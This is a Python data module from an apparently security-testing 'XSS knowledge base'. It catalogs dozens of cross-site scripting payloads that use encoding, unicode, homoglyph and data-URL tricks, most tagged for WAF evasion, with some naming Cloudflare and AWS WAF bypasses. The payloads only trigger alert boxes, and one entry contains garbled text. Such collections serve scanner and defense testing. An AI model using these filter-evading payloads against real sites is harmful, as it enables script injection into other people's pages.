#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Encoding Trick Payloads
"""

from ..models import PayloadEntry


ENCODING_TRICKS_PAYLOADS = {
    "enc_trick_1": PayloadEntry(
        payload="<script>\\141\\154\\145\\162\\164(1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Octal escape sequence",
        tags=["encoding", "octal"],
        waf_evasion=True,
        reliability="high",
    ),
    "enc_trick_2": PayloadEntry(
        payload="<script>eval('\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29')</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Hex escape in eval",
        tags=["encoding", "hex", "eval"],
        waf_evasion=True,
        reliability="high",
    ),
    "enc_trick_3": PayloadEntry(
        payload="<script>eval('\\u0061\\u006c\\u0065\\u0072\\u0074(1)')</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Unicode escape in eval",
        tags=["encoding", "unicode", "eval"],
        waf_evasion=True,
        reliability="high",
    ),
    "enc_trick_4": PayloadEntry(
        payload='<script>eval(unescape("%61%6c%65%72%74%28%31%29"))</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="URL encoding with unescape",
        tags=["encoding", "url", "unescape"],
        waf_evasion=True,
        reliability="high",
    ),
    "enc_trick_5": PayloadEntry(
        payload='<script>eval(decodeURIComponent("%61%6c%65%72%74%28%31%29"))</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="URL encoding with decodeURIComponent",
        tags=["encoding", "url", "decodeURIComponent"],
        waf_evasion=True,
        reliability="high",
    ),
}

ENCODING_PAYLOADS = {
    "enc_1": PayloadEntry(
        payload="%3Cscript%3Ealert(1)%3C/script%3E",
        contexts=["url"],
        severity="critical",
        cvss_score=8.5,
        description="URL encoded script tag",
        tags=["encoding", "url-encoding"],
        encoding="url",
        reliability="medium",
    ),
    "enc_2": PayloadEntry(
        payload="%253Cscript%253Ealert(1)%253C/script%253E",
        contexts=["url"],
        severity="critical",
        cvss_score=8.5,
        description="Double URL encoded script tag",
        tags=["encoding", "double-url-encoding"],
        encoding="double-url",
        reliability="medium",
    ),
    "enc_3": PayloadEntry(
        payload="\\u003cscript\\u003ealert(1)\\u003c/script\\u003e",
        contexts=["javascript", "json"],
        severity="critical",
        cvss_score=8.5,
        description="Unicode escaped script tag",
        tags=["encoding", "unicode-escape"],
        encoding="unicode",
        reliability="high",
    ),
    "enc_4": PayloadEntry(
        payload="\\x3cscript\\x3ealert(1)\\x3c/script\\x3e",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.5,
        description="Hex escaped script tag",
        tags=["encoding", "hex-escape"],
        encoding="hex",
        reliability="high",
    ),
    "enc_5": PayloadEntry(
        payload="&#60;script&#62;alert(1)&#60;/script&#62;",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Decimal HTML entities",
        tags=["encoding", "html-entities", "decimal"],
        encoding="html-decimal",
        reliability="high",
    ),
    "enc_6": PayloadEntry(
        payload="&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Hex HTML entities",
        tags=["encoding", "html-entities", "hex"],
        encoding="html-hex",
        reliability="high",
    ),
    "enc_7": PayloadEntry(
        payload="&#0000060;script&#0000062;alert(1)&#0000060;/script&#0000062;",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Padded decimal HTML entities",
        tags=["encoding", "html-entities", "padded"],
        encoding="html-padded",
        waf_evasion=True,
        bypasses=["cloudflare", "aws-waf"],
        reliability="medium",
    ),
    "enc_8": PayloadEntry(
        payload="&#x000003c;script&#x000003e;alert(1)&#x000003c;/script&#x000003e;",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Padded hex HTML entities",
        tags=["encoding", "html-entities", "padded-hex"],
        encoding="html-padded-hex",
        waf_evasion=True,
        bypasses=["cloudflare", "aws-waf"],
        reliability="medium",
    ),
    "enc_9": PayloadEntry(
        payload="<script>\\u0061lert(1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Partial unicode escape in alert",
        tags=["encoding", "unicode", "partial"],
        encoding="unicode-partial",
        waf_evasion=True,
        reliability="high",
    ),
    "enc_10": PayloadEntry(
        payload='<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML entities in event handler",
        tags=["encoding", "event-handler", "entities"],
        encoding="html-entities",
        waf_evasion=True,
        reliability="high",
    ),
}

UNICODE_PAYLOADS = {
    "unicode_1": PayloadEntry(
        payload="<script>\\u0061lert(1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Unicode escape in function name",
        tags=["unicode", "escape", "function"],
        waf_evasion=True,
        reliability="high",
    ),
    "unicode_2": PayloadEntry(
        payload="<script>\\u{61}lert(1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Unicode code point escape",
        tags=["unicode", "code-point", "es6"],
        waf_evasion=True,
        reliability="high",
    ),
    "unicode_3": PayloadEntry(
        payload="<img src=x onerror=\\u0061lert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Unicode escape in event handler",
        tags=["unicode", "escape", "event-handler"],
        waf_evasion=True,
        reliability="high",
    ),
    "unicode_4": PayloadEntry(
        payload="<script>\u2028alert(1)</script>",
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.5,
        description="Unicode line separator (U+2028)",
        tags=["unicode", "line-separator"],
        waf_evasion=True,
        reliability="medium",
    ),
    "unicode_5": PayloadEntry(
        payload="<script>\u2029alert(1)</script>",
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.5,
        description="Unicode paragraph separator (U+2029)",
        tags=["unicode", "paragraph-separator"],
        waf_evasion=True,
        reliability="medium",
    ),
    "unicode_6": PayloadEntry(
        payload='<a href="\u0001javascript:alert(1)">click</a>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Unicode SOH before javascript",
        tags=["unicode", "control-char"],
        waf_evasion=True,
        reliability="medium",
    ),
    "unicode_7": PayloadEntry(
        payload='<script>eval("\u202ealert(1)\u202c")</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Right-to-left override obfuscation",
        tags=["unicode", "rtl", "bidi"],
        waf_evasion=True,
        reliability="medium",
    ),
    "unicode_8": PayloadEntry(
        payload="<img src=\u200bx\u200b onerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Zero-width space in src",
        tags=["unicode", "zero-width"],
        waf_evasion=True,
        reliability="medium",
    ),
    "unicode_9": PayloadEntry(
        payload="<script>\\u{00000061}lert(1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Padded unicode code point",
        tags=["unicode", "padded", "code-point"],
        waf_evasion=True,
        reliability="high",
    ),
    "unicode_10": PayloadEntry(
        payload="<scrіpt>alert(1)</scrіpt>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Cyrillic 'і' looks like 'i'",
        tags=["unicode", "homoglyph", "cyrillic"],
        waf_evasion=True,
        reliability="medium",
    ),
    # === OWASP Encoding Payloads ===
    "owasp-fromcharcode": PayloadEntry(
        payload="<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Using fromCharCode to bypass keyword filters",
        tags=["owasp", "fromcharcode", "encoding", "waf_bypass"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-onerror-encoded": PayloadEntry(
        payload='<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="onerror with decimal HTML character references",
        tags=["owasp", "onerror", "decimal", "encoding"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-decimal-full": PayloadEntry(
        payload="<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Full decimal HTML character references",
        tags=["owasp", "decimal", "encoding", "waf_bypass"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-decimal-no-semicolon": PayloadEntry(
        payload="<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Decimal references without trailing semicolons with padding",
        tags=["owasp", "decimal", "no-semicolon", "padding"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-hex-no-semicolon": PayloadEntry(
        payload="<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Hexadecimal references without trailing semicolons",
        tags=["owasp", "hex", "no-semicolon", "waf_bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-embedded-tab": PayloadEntry(
        payload="<IMG SRC=\"jav\tascript:alert('XSS');\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Embedded tab character to break up javascript keyword",
        tags=["owasp", "tab", "whitespace", "waf_bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-encoded-tab": PayloadEntry(
        payload="<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Encoded tab character (&#x09;) to bypass filters",
        tags=["owasp", "tab", "encoded", "waf_bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-embedded-newline": PayloadEntry(
        payload="<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Embedded newline to break up XSS",
        tags=["owasp", "newline", "whitespace", "waf_bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-carriage-return": PayloadEntry(
        payload="<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Embedded carriage return",
        tags=["owasp", "carriage-return", "whitespace", "waf_bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-null-break": PayloadEntry(
        payload='<SCR\\0IPT>alert("XSS")</SCR\\0IPT>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Null character to break up script tag",
        tags=["owasp", "null", "bypass"],
        reliability="low",
        waf_evasion=True,
    ),
    "owasp-div-unicode": PayloadEntry(
        payload="<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.telehtam.telehtam.\\0027\\0058\\0053\\0053\\0027\\0029'\\0029\">",
        contexts=["html_content", "css"],
        severity="high",
        cvss_score=7.5,
        description="DIV with Unicode XSS exploit",
        tags=["owasp", "div", "unicode", "waf_bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-meta-data": PayloadEntry(
        payload='<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="META refresh with data URL base64",
        tags=["owasp", "meta", "data-url", "base64"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-iframe-encoded": PayloadEntry(
        payload='<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IFRAME with URL encoded data",
        tags=["owasp", "iframe", "url-encoded"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-embed-svg": PayloadEntry(
        payload='<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="EMBED SVG with base64 encoded XSS",
        tags=["owasp", "embed", "svg", "base64"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-us-ascii": PayloadEntry(
        payload='<META HTTP-EQUIV="Content-Type" Content="text/html; charset=US-ASCII">¼script¾alert(¢XSS¢)¼/script¾',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="US-ASCII encoding bypass",
        tags=["owasp", "encoding", "us-ascii", "charset"],
        reliability="low",
        waf_evasion=True,
    ),
    "owasp-data-redirect": PayloadEntry(
        payload="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=",
        contexts=["url", "html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="Data URL with base64 encoded XSS for redirect bypass",
        tags=["owasp", "data-url", "base64", "redirect", "waf_bypass"],
        reliability="high",
        waf_evasion=True,
    ),
}

# Combined database
ENCODING_DATABASE = {
    **ENCODING_TRICKS_PAYLOADS,
    **ENCODING_PAYLOADS,
    **UNICODE_PAYLOADS,
}
ENCODING_TOTAL = len(ENCODING_DATABASE)
